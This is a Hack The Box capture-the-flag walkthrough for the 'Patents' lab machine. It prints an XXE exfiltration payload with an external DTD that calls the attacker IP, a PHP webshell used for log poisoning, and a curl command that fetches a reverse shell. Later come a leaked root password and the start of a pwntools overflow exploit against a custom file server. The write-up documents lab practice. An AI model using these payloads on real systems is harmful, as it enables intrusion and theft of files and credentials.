Details
This machine is Patents from Hack The Box
Recon
Nmap segfaulted initially so I used masscan
kali@kali:~$ sudo masscan --router-ip 10.10.14.0 -p0-65535,U:0-65535 -e tun0 --rate=1000 10.10.10.173
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-02-28 19:29:02 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131072 ports/host]
Discovered open port 80/tcp on 10.10.10.173
Discovered open port 22/tcp on 10.10.10.173
Discovered open port 8888/tcp on 10.10.10.173
The nmap on the open ports
kali@kali:~$ nmap -sV -p22,80,8888 10.10.10.173
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-28 19:53 GMT
Nmap scan report for 10.10.10.173
Host is up (0.024s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.7p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
8888/tcp open sun-answerbook?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8888-TCP:V=7.80%I=7%D=2/28%Time=5E596FD5%P=x86_64-pc-linux-gnu%r(LS
SF:CP,17,"LFM\x20400\x20BAD\x20REQUEST\r\n\r\n")%r(Help,17,"LFM\x20400\x20
SF:BAD\x20REQUEST\r\n\r\n")%r(LPDString,17,"LFM\x20400\x20BAD\x20REQUEST\r
SF:\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.77 seconds
Foothold
I checked out port 80 at http://10.10.10.173/
There was an upload form at http://10.10.10.173/upload.html
So it converts a docx to a pdf, this was a potential avenue for XXE as docx is just a zip of xml files. I ended up creating a document with a random string in it and uploading it to see what happened. I was offered a download button for the pdf which I clicked, and it opened the converted file
While this was going on I had been running dirbusts, and one using the raft-large-words
wordlist found something interesting within the /release
directory
I view the file at http://10.10.10.173/release/UpdateDetails.txt
So this file turned out to be important, and more than just for revealing that an LFI / Dir traversal were fixed then unfixed. I spent a lot of time trying various things with word documents, until eventually re-reading this file led to a moment of clarity. The important line was
- gbyolo@tb: fixed conversion parameters. Meow's changes for custom folder should now work.
Word allows custom xml to exist within the docx file as part of it's standard. Rather than trying to custom craft one I used the following google dork to find a docx that already contained one
customxml word filetype:docx
I then unzipped the document
kali@kali:~$ ls -la
total 28
drwxr-xr-x 6 kali kali 4096 Feb 29 17:19 .
drwxr-xr-x 3 kali kali 4096 Feb 29 17:27 ..
-rw-r--r-- 1 kali kali 2542 Jan 1 1980 '[Content_Types].xml'
drwxr-xr-x 3 kali kali 4096 Feb 29 17:28 customXml
drwxr-xr-x 2 kali kali 4096 Feb 29 17:18 docProps
drwxr-xr-x 2 kali kali 4096 Feb 29 17:18 _rels
drwxr-xr-x 5 kali kali 4096 Feb 29 17:18 word
kali@kali:~/customXml$ ls -la
total 64
drwxr-xr-x 3 kali kali 4096 Feb 29 17:28 .
drwxr-xr-x 6 kali kali 4096 Feb 29 17:19 ..
-rw-r--r-- 1 kali kali 11963 Feb 29 17:20 item1.xml
-rw-r--r-- 1 kali kali 219 Jan 1 1980 item2.xml
-rw-r--r-- 1 kali kali 290 Jan 1 1980 item3.xml
-rw-r--r-- 1 kali kali 270 Jan 1 1980 item4.xml
-rw-r--r-- 1 kali kali 1232 Feb 29 17:27 itemProps1.xml
-rw-r--r-- 1 kali kali 12288 Feb 29 17:28 .itemProps1.xml.swp
-rw-r--r-- 1 kali kali 323 Jan 1 1980 itemProps2.xml
-rw-r--r-- 1 kali kali 413 Jan 1 1980 itemProps3.xml
-rw-r--r-- 1 kali kali 329 Jan 1 1980 itemProps4.xml
drwxr-xr-x 2 kali kali 4096 Feb 29 17:25 _rels
I modified itemProps1.xml
to contain the following
<!DOCTYPE root [<!ENTITY ext SYSTEM "http://10.10.14.27/xXe_Is_FiXeD">]><root>&ext;></root>
And setup a python http server to listen for a callback. When I rebuilt and uploaded this docx
10.10.10.173 - - [29/Feb/2020 17:28:10] code 404, message File not found
10.10.10.173 - - [29/Feb/2020 17:28:10] "GET /xXe_Is_FiXeD HTTP/1.0" 404 -
I finally had a callback. I then tried to upload one with the following
<!DOCTYPE root [
<!ELEMENT root ANY>
<!ENTITY % file SYSTEM "file:///etc/passwd" >
<!ENTITY ext SYSTEM "http://10.10.14.27/newpay?file;">]>
<root>&ext;</root>
But no luck. Reading through payloads all the things, I decided to use a dtd. So I changed the payload to the following
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://10.10.14.27/dtd.xml">
%sp;
%param1;
]>
<r>&exfil;</r>
And hosted another file called dtd.xml
containng
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://10.10.14.27/dtd.xml?%data;'>">
Upon uploading the document I received
10.10.10.173 - - [29/Feb/2020 18:10:06] "GET /dtd.xml HTTP/1.0" 200 -
10.10.10.173 - - [29/Feb/2020 18:10:06] "GET /dtd.xml?cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCl9hcHQ6eDoxMDA6NjU1MzQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpnYnlvbG86eDoxMDAwOjEwMDA6Oi9ob21lL2dieW9sbzovYmluL2Jhc2gK HTTP/1.0" 200 -
Which decoded to
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
gbyolo:x:1000:1000::/home/gbyolo:/bin/bash
So I could now read files, I then updated the dtd to steal ./config.php
instead which decoded to the following
<?php
# needed by convert.php
$uploadir = 'letsgo/';
# needed by getPatent.php
# gbyolo: I moved getPatent.php to getPatent_alphav1.0.php because it's vulnerable
define('PATENTS_DIR', '/patents/');
?>
So I tried visiting the new file at http://10.10.10.173/getPatent_alphav1.0.php
I tried adding the parameter http://10.10.10.173/getPatent_alphav1.0.php?id=1
Eventually after testing various directory traversal and LFI techniques I managed to get the following output
I then was able to access the apache2 log file
http://10.10.10.173/getPatent_alphav1.0.php?id=...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2fvar%2flog%2fapache2%2faccess.log
Due to all the fuzzing I had done this file was massive, so I reset the box before continuing. Once the box was back up, I used burp to set my user agent to a php webshell of
<?php system($_GET['c']); ?>
Which poisoned the logs, I then tested the shell
http://10.10.10.173/getPatent_alphav1.0.php?id=...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2fvar%2flog%2fapache2%2faccess.log&c=id
With RCE confirmed I set a listener
kali@kali:~$ nc -nvlp 4444
And used my webshell to download a php reverse shell onto the target
http://10.10.10.173/getPatent_alphav1.0.php?id=...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2f...%2f...%2f%2fvar%2flog%2fapache2%2faccess.log&c=curl%2010.10.14.27/php-reverse-shell.php%20-o%20./php-shell.php
I then visited http://10.10.10.173/php-shell.php to trigger it
connect to [10.10.14.27] from (UNKNOWN) [10.10.10.173] 60326
Linux 2eb566afc334 4.18.0-25-generic #26-Ubuntu SMP Mon Jun 24 09:32:08 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
19:14:52 up 5 min, 0 users, load average: 0.04, 0.39, 0.24
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@2eb566afc334:/$
I now had a foothold
User
I ended up moving a static version of socat onto the machine and using it to spawn some additional full tty shells. In one of which I ran pspy64 and saw the following
[SNIP]
2020/02/29 19:24:01 CMD: UID=0 PID=178 | /bin/bash /opt/checker_client/run_file.sh
[SNIP]
2020/02/29 19:27:01 CMD: UID=0 PID=204 | python checker.py 10.100.0.1:8888 lfmserver_user PASSWORD /var/www/html/docx2pdf/convert.php
[SNIP]
2020/02/29 19:28:01 CMD: UID=0 PID=208 | /bin/sh -c root env PASSWORD="!gby0l0r0ck\$\$!" /opt/checker_client/run_file.sh
[SNIP]
A password, I removed the escape symbols
!gby0l0r0ck$$!
And used it to su
www-data@2eb566afc334:/opt$ su
Password:
root@2eb566afc334:/opt#
And grab the user flag
root@2eb566afc334:/opt# cd /home/gbyolo/
root@2eb566afc334:/home/gbyolo# ls -la
total 24
drwxr-xr-x 1 gbyolo gbyolo 4096 Dec 3 13:07 .
drwxr-xr-x 1 root root 4096 Dec 3 13:07 ..
-rw-r--r-- 1 gbyolo gbyolo 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 gbyolo gbyolo 3771 Apr 4 2018 .bashrc
-rw-r--r-- 1 gbyolo gbyolo 807 Apr 4 2018 .profile
-r-------- 1 root root 36 May 22 2019 user.txt
root@2eb566afc334:/home/gbyolo# cat user.txt
[REDACTED]
Root
I now had user, and root access to what I believed to be a docker container. From the pspy I knew that there was a python script on this box interacting with the service running on port 8888, so I took a look at it
root@2eb566afc334:/opt/checker_client# ls -la
total 28
drwx------ 1 root root 4096 Dec 3 13:07 .
drwxr-xr-x 1 root root 4096 Feb 29 19:11 ..
-rwx------ 1 root root 1668 May 20 2019 checker.py
-rwx------ 1 root root 103 May 20 2019 cronjob
-rwx------ 1 root root 618 May 20 2019 run_file.sh
-rwx------ 1 root root 388 May 20 2019 utils.py
-rwx------ 1 root root 908 May 20 2019 utils.pyc
root@2eb566afc334:/opt/checker_client# cat checker.py
#!/usr/bin/env python
import sys
import os
from utils import md5,recvline
import socket
INPUTREQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n"
if len(sys.argv) != 5:
print "Usage: " + sys.argv[0] + " <host>:<port> <user> <pass> <file>"
exit(-1)
HOST = sys.argv[1]
var = HOST.split(":")
if len(var) != 2:
print "Usage: " + sys.argv[0] + " <host>:<port> <user> <pass> <file>"
exit(-1)
try:
PORT = int(var[1])
except ValueError:
print "Port number must be integer"
exit(-1)
HOST = var[0]
#print "Connecting to " + HOST + ":" + str(PORT)
USER = sys.argv[2]
try:
PASS = os.environ[sys.argv[3]]
except KeyError:
print "Couldn't find such password"
exit(-1)
FILE = sys.argv[4]
# At this point PASS is well-defined
base = os.path.basename(FILE)
try:
md5sum = md5(FILE)
except IOError:
print "File not found locally"
exit(-1)
REALREQ = INPUTREQ.format(base, USER, PASS, md5sum)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall(REALREQ)
resp = s.recv(4096)
s.close()
#print resp
if "LFM 200 OK" in resp:
#print "File OK, no need to download"
exit(0)
if "404" in resp:
print "File not found on server"
exit(-1)
#print "File corrupted, need to download it"
REQ = "GET /{} LFM\r\n\r\n".format(base)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall(REQ)
recvline(s)
recvline(s)
recvline(s)
resp = s.recv(8192)
#if resp[-1] == '\n':
# resp = resp[:-1]
#
#if resp[-1] == '\r':
# resp = resp[:-1]
s.close()
with open("{}.new".format(base), "wb") as f:
f.write(resp)
print "{}.new".format(base)
This was very useful in providing an understanding of how to interact with the port 8888 service. But it didn't provide me with a way of exploiting it. So, I dug some more
root@2eb566afc334:/usr/src/lfm# ls -la
total 12
drwx------ 1 root root 4096 Dec 3 13:07 .
drwxr-xr-x 1 root root 4096 Dec 3 13:07 ..
drwx------ 1 gbyolo gbyolo 4096 Dec 3 13:07 .git
I found an empty git repo with the name lfm. So I looked at it's history
root@2eb566afc334:/usr/src/lfm/.git# git log --raw
commit 7c6609240f414a2cb8af00f75fdc7cfbf04755f5 (HEAD -> master)
Author: gbyolo <gbyolo.htb>
Date: Mon May 20 17:04:37 2019 +0200
Removed meow files. THIS REPOSITORY IS ON SVN
:100644 000000 3c770da 0000000 D README
:100755 000000 3aae760 0000000 D lfmserver
commit a900ccf7ae75b95db5f2d134d80e359a795e0cc6
Author: meow <meow@conquertheworld.htb>
Date: Mon May 20 12:36:19 2019 +0200
Added last executable and README
:000000 100644 0000000 3c770da A README
:000000 100755 0000000 3aae760 A lfmserver
commit aa139d6caea2182c73341919150d9f5cd05e7468
Author: gbyolo <gbyolo@htb>
Date: Mon Mar 11 09:39:39 2019 +0100
Switched to SVN for repository hosting. This will be empty
100644 000000 9996cea 0000000 D Makefile
:100644 000000 028b72d 0000000 D README
:100644 000000 1700ece 0000000 D arg_parsing.c
:100644 000000 b88dd38 0000000 D arg_parsing.h
:100644 000000 e5a086c 0000000 D file.c
:100644 000000 3a2dfae 0000000 D file.h
:100644 000000 5fe2e5f 0000000 D files/try
:100644 000000 5d21acd 0000000 D lfm.c
:100644 000000 e882a8a 0000000 D lfm.h
:100644 000000 5bdfe5d 0000000 D lfmserver.c
:100644 000000 927a351 0000000 D lfmserver.conf
:100644 000000 e76329c 0000000 D lfmserver.h
:100644 000000 787256d 0000000 D log.c
:100644 000000 d97f5f7 0000000 D log.h
:100644 000000 0382da0 0000000 D md5.c
:100644 000000 f6b98d0 0000000 D md5.h
:100644 000000 82be307 0000000 D params_parsing.c
:100644 000000 041e9d6 0000000 D params_parsing.h
:100644 000000 4f8d40e 0000000 D process.c
:100644 000000 26dba4e 0000000 D process.h
:100644 000000 778ee53 0000000 D socket_io.c
:100644 000000 52aeed0 0000000 D socket_io.h
:100644 000000 6060ac5 0000000 D thread.c
:100644 000000 607140e 0000000 D thread.h
commit 1bbc518518cdde0126103cd4c6e7e6dfcdd36d3e
Author: gbyolo <gbyolo@htb>
Date: Fri Mar 8 13:18:32 2019 +0100
Added README
:000000 100644 0000000 028b72d A README
commit 027b01782f86a67a2b17787d9a5dea0eb4a803a3
Author: gbyolo <gbyolo@htb>
Date: Fri Mar 8 13:12:11 2019 +0100
Added LFM protocol management
:100644 100644 2a89541 5d21acd M lfm.c
commit 0ac7c940010ebb22f7fbedb67ecdf67540728123
Author: gbyolo <gbyolo@htb>
Date: Fri Mar 8 13:11:58 2019 +0100
Added main file
:000000 100644 0000000 5bdfe5d A lfmserver.c
:000000 100644 0000000 e76329c A lfmserver.h
commit b010219da4a5f515ed0a5208cdd259c2f4a07f8e
Author: gbyolo <gbyolo@htb>
Date: Fri Mar 8 13:11:46 2019 +0100
Added process and thread management
:000000 100644 0000000 0382da0 A md5.c
:000000 100644 0000000 f6b98d0 A md5.h
:000000 100644 0000000 4f8d40e A process.c
:000000 100644 0000000 26dba4e A process.h
:000000 100644 0000000 6060ac5 A thread.c
:000000 100644 0000000 607140e A thread.h
commit 35f32dd1d6b6da084cfc8b6cd9e24cd3f1d05663
Author: gbyolo <gbyolo@htb>
Date: Thu Mar 7 14:51:21 2019 +0100
Added files to serve
:000000 100644 0000000 5fe2e5f A files/try
commit b2043a2c470abbe945b719be7e007d367a2a5f05
Author: gbyolo <gbyolo@htb>
Date: Thu Mar 7 14:49:52 2019 +0100
Started implementinf LFM interface
:000000 100644 0000000 2a89541 A lfm.c
commit cfbbad867b611b0cc3544a24a4cd877bae5f1733
Author: gbyolo <gbyolo@htb>
Date: Thu Mar 7 12:30:03 2019 +0100
Implemented interface of lfm protocol
:000000 100644 0000000 e882a8a A lfm.h
commit 9a512f08a2e7cabab2a821db0a18685b2b95deb6
Author: gbyolo <gbyolo@htb>
Date: Thu Mar 7 12:02:54 2019 +0100
Added makefile
:000000 100644 0000000 9996cea A Makefile
:000000 100644 0000000 778ee53 A socket_io.c
:000000 100644 0000000 52aeed0 A socket_io.h
commit 7d29513b0105996a0c29b4eed9b3554983b804b7
Author: gbyolo <gbyolo@htb>
Date: Thu Mar 7 12:01:16 2019 +0100
Added log parsing
:000000 100644 0000000 e5a086c A file.c
:000000 100644 0000000 3a2dfae A file.h
:000000 100644 0000000 927a351 A lfmserver.conf
:000000 100644 0000000 787256d A log.c
:000000 100644 0000000 d97f5f7 A log.h
commit 527274134f86457bb17ea77909e2e6977523837b
Author: gbyolo <gbyolo@htb>
Date: Thu Mar 7 12:00:34 2019 +0100
Initialized project
:000000 100644 0000000 1700ece A arg_parsing.c
:000000 100644 0000000 b88dd38 A arg_parsing.h
:000000 100644 0000000 82be307 A params_parsing.c
:000000 100644 0000000 041e9d6 A params_parsing.h
This looked promising as it may contain the binary / source code for the program on port 8888. So I tar'd the entire repo and downloaded it locally. To download the tar I moved it to the webroot and downloaded it with curl
I began to look through the repo
kali@kali:~/lfm$ git checkout a900ccf7ae75b95db5f2d134d80e359a795e0cc6
kali@kali:~/lfm$ cat README
lfmserver' dynamic libraries:
linux-vdso.so.1 (0x00007ffda19f0000)
libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007f5444090000)
libcrypto.so.1.1 => /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1 (0x00007f5443dc5000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f5443da4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5443bba000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5444226000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f5443bb4000)
NB: lfmserver was compiled against:
- libc6: 2.28-0ubuntu1
- libssl1.1: 1.1.1-1ubuntu2.1
This gave me the libc version, so I acquired it using https://github.com/niklasb/libc-database. At this point it became apparent I was going to be working with a combination of the source code, ghidra, and dynamic analysis. The binary itself is stripped which made it harder to work with. But the source was also incomplete as can be seen when checking out to a version containing it
kali@kali:~/lfm$ git checkout 1bbc518518cdde0126103cd4c6e7e6dfcdd36d3e
kali@kali:~/lfm$ cat lfm.c
[SNIP]
int handle_check(struct msg *message)
{
// TODO: implement
send_401(message->connsd);
return -1;
}
int handle_get(struct msg *message)
{
// TODO: implement
//
send_bad_request(message->connsd);
return 0;
}
[SNIP]
After some more digging into the repo I found I had missed a message earlier
kali@kali:~/lfm$ git reflog
[SNIP]
5e4bd57 HEAD@{9}: commit: Added the executable of lfmserver for internal testing
[SNIP]
An internal testing version was interesting, as it may not be stripped. So I took a look
kali@kali:~/lfm$ git checkout HEAD@{9}
kali@kali:~/lfm$ file lfmserver
lfmserver: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7c1ef1dec3cfe5ab145957a9369f871daec30293, not stripped
As this version wasn't stripped, it was the version I mainly worked with in ghidra. For all dynamic analysis I used the stripped binary as I believed it was the most likely version to actually be running on the system
With the program loaded into ghidra I located the handle_get function
It was implemented, unlike with the source code. This marked the beginning of a large session of RE. Which eventually led me to a potential stack overflow. This would occur within the handle_check
and url_decode
functions
The url_decod
e function is called here, and it's result is stored in the local buffer local_b8
, which is a 128 byte buffer. But there is no obvious bounds checking for if the url is actually longer than this. I confirmed this by checking the url_decode
function
As suspected, no bounds checking. So I began to workout how this function would actually get called
kali@kali:~/lfm$ grep -rn handle_check
lfm.c:313:int handle_check(struct msg *message)
lfm.c:370: handle_check(message);
lfm.h:86:int handle_check(struct msg *msg);
Investigating lfm.c led to
int handle_lfm_connection(int connsd, char *ip)
{
struct msg *message;
char *client_ip = strndup(ip, INET_ADDRSTRLEN+1);
free(ip);
if ((message=read_message(connsd)) == NULL) {
return -1;
}
message->client_ip = client_ip;
if (message->method == CHECK) {
handle_check(message);
} else if (message->method == GET) {
handle_get(message);
} else if (message->method == PUT) {
handle_put(message, ¶m_config, MAX_OBJECT_SIZE);
}
free_object(message);
free_message(message);
free_struct(message);
return 1;
}
Which indicates that to trigger this, I need to make a CHECK
request to the system. Before diving into exploit development I wanted to workout if there were any preconditions to this, especially as the overwrite happens in url_decode
, but overflows from a variable in handle_check
, meaning I need to do this in a way that both the url_decode
and handle_check
functions return (as I'll be overwriting the return address in handle_check
). It became apparent there were a few cases to consider
In this case, if the file requested is not found, then a file manager error is called. Investigating this proved that it would be an issue
void lfm_init(void (*error_fcn)(int id, const char *error_msg, int err))
{
fileManager_error = error_fcn;
}
kali@kali:~/lfm$ grep -rn lfm_init
process.c:131: lfm_init(&pthread_fatal_error);
lfm.c:4:void lfm_init(void (*error_fcn)(int id, const char *error_msg, int err))
lfm.h:70:void lfm_init(void (*error_fcn)(int id, const char *error_msg, int err));
I checked this pthread_fatal_error
in ghidra
It would cause the program to exit, before the return of handle_check
. So one condition I must meet is that the file I would request, had to be real. This was a potential problem as the overflow itself also happened in the url for the file. After this condition comes and md5 check
If the md5sum does not match the provided hash (as part of the request), the send_406
function is called
This turned out to not be an issue as send_406
will return, allowing handle_check
to reached the
return 0xfffffff
Which would trigger the exploit (if successful). So I began to work out how to solve the "need a real file issue". Reading over the code I realised the url_decode
function would actually work in my favour, as it would allow me to smuggle bad characters into the payload by url encoding them. Normally I would have to avoid using \x00
as it would terminate the string, but by encoding it was %00
it wouldn't but would be decoded back to \x00
in any later use. This turned out to be critical for bypassing the file exists check. Reading the documentation for the access
call https://linux.die.net/man/2/access. The parameter is a const char pointer, which will be expecting a null terminated string. So I should be able to send a payload such as
/path/to/real/file%00<rest of exploit>
I confirmed that a url encoded null byte wouldn't cause the url_decode
function to stop
The code only stops when it reaches the end of the string, or an already decoded null byte. The next problem was a file which I knew existed. I was hoping I would be able to use directory traversal to solve this issue. I also realised that pythons standard url encode functions only do key characters, I want to encode everything. I ended up finding a good gist which has a function for this https://gist.github.com/Paradoxis/6336c2eaea20a591dd36bb1f5e227da2
I then wrote a client script to test with (using the client found on the target as a reference)
kali@kali:~$ cat lfmcheck.py
import sys
import socket
IP = "10.10.10.173"
PORT = 8888
USER = "lfmserver_user"
PASS = "!gby0l0r0ck$$!"
FILE = sys.argv[1]
HASH = "fake"
def aggressive_url_encode(string):
return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)
REQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n".format(aggressive_url_encode(FILE), USER, PASS, HASH)
print(REQ)
print("=================\n")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
s.sendall(REQ)
r = s.recv(8192)
print(r)
s.close()
And I tested it for directory traversal
kali@kali:~$ python lfmcheck.py ../../../../etc/passwd
CHECK /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64 LFM
User=lfmserver_user
Password=!gby0l0r0ck$$!
fake
=================
LFM 406 MD5 NOT MATCH
The 406 was a good sign as it meant it passed the access check. At this point I wanted to setup a local copy for dynamic analysis, which meant patching a copy of the binary to use the libc I have locally
kali@kali:~/lfm$ patchelf --set-interpreter /opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/ld-2.28.so --set-rpath /opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/:$ORIGIN lfmserver
I then loaded this into gdb and checked the security protections on the binary. I am assuming ASLR is enabled
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
So NX is on, but no PIE so it will hopefully just be a ROP chains for ASLR info leak + exploit. So I began work on an exploit, the intention was to crash the program
from pwn import *
context(os='linux', arch='amd64')
context.log_level='DEBUG'
IP = "127.0.0.1"
PORT = 5000
USER = "lfmserver_user"
PASS = "!gby0l0r0ck$$!"
FILE = "/etc/passwd"
TRAVERSAL = "../../../../../.."
HASH = "AAAAA"
REQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n"
ELF = elf.ELF("./lfmserver")
LIBC = elf.ELF("/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc.so.6")
def url_encode(string):
return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)
def main():
url = "{}{}%00{}".format(url_encode(TRAVERSAL), FILE, url_encode("A"*200))
stage_1 = REQ.format(url, USER, PASS, HASH)
r = remote(IP, PORT)
r.send(stage_1)
if __name__ == '__main__':
main()
When I ran it against the target the following happened in gdb
[New Thread 0x7ffff7914700 (LWP 2932)]
[Thread 0x7ffff7914700 (LWP 2932) exited]
[Inferior 2 (process 2925) exited with code 01]
A child process crashed. But, it seems to have more than 1 child process which could be a pain. Checking the log file showed
kali@kali:~/lfm$ cat lfmserver.log
lfmserver[3221]: Unable to find configuration file /etc/cserver/cserver.conf, using default configuration
lfmserver[3221]: Server starting on port 5000. Logfile = lfmserver.log
Number of children: 4
lfmserver[3221]: perc_dead_child: 0.200000
lfmserver[3221]: socket created (fd=5)
lfmserver[3221]: socket bind() OK
lfmserver[3221]: listen() went ok. BACKLOG=128
lfmserver[3222]: N_THREAD: 1, MAX_THREADS: 5
lfmserver[3223]: N_THREAD: 1, MAX_THREADS: 5
lfmserver[3224]: N_THREAD: 1, MAX_THREADS: 5
lfmserver[3225]: N_THREAD: 1, MAX_THREADS: 5
It seems to have looked for a config file, and I found reference to this in a previous version of the README
kali@kali:~/lfm$ cat README
This is an implementation of the Lightweight File Manager LFM Protocol.
It's a pre-fork and pre-thread server, which supports re-forking and re-threading
when the number of child processes of threads goes below a threshold.
It's similar to HTTP, and supports the following methods:
GET /object LFM [\r\n]
User=user [\r\n]
Password=password [\r\n]
[\r\n]
CHECK /object LFM [\r\n]
User=user [\r\n]
Password=password [\r\n]
[\r\n]
md5_of_the_file [\r\n]
[\r\n]
PUT /object LFM [\r\n]
User=user [\r\n]
Password=password [\r\n]
[\r\n]
bytes_of_the_file
Communication is based on TCP.
Default port is 5000.
A configuration file is placed in /etc/lfmserver/lfmserver.conf, where you can
configure thresholds, number of processes, number of threads, ...
This also came with sample config
kali@kali:~/lfm$ cat lfmserver.conf
NumberOfChildren=4
NumberOfThreadsPerProcess=1
MaxNumberOfThreadsPerProcess=5
PercentageOfDeadChildren=0.2
Port=5000
I ended up making a file /etc/lfmserver/lfmserver.conf
containing
NumberOfChildren=1
NumberOfThreadsPerProcess=1
MaxNumberOfThreadsPerProcess=5
PercentageOfDeadChildren=0.2
Port=8888
And when I next ran the binary the log showed
kali@kali:~/lfm$ cat lfmserver.log
lfmserver[3357]: Server starting on port 8888. Logfile = lfmserver.log
Number of children: 1
lfmserver[3357]: perc_dead_child: 0.200000
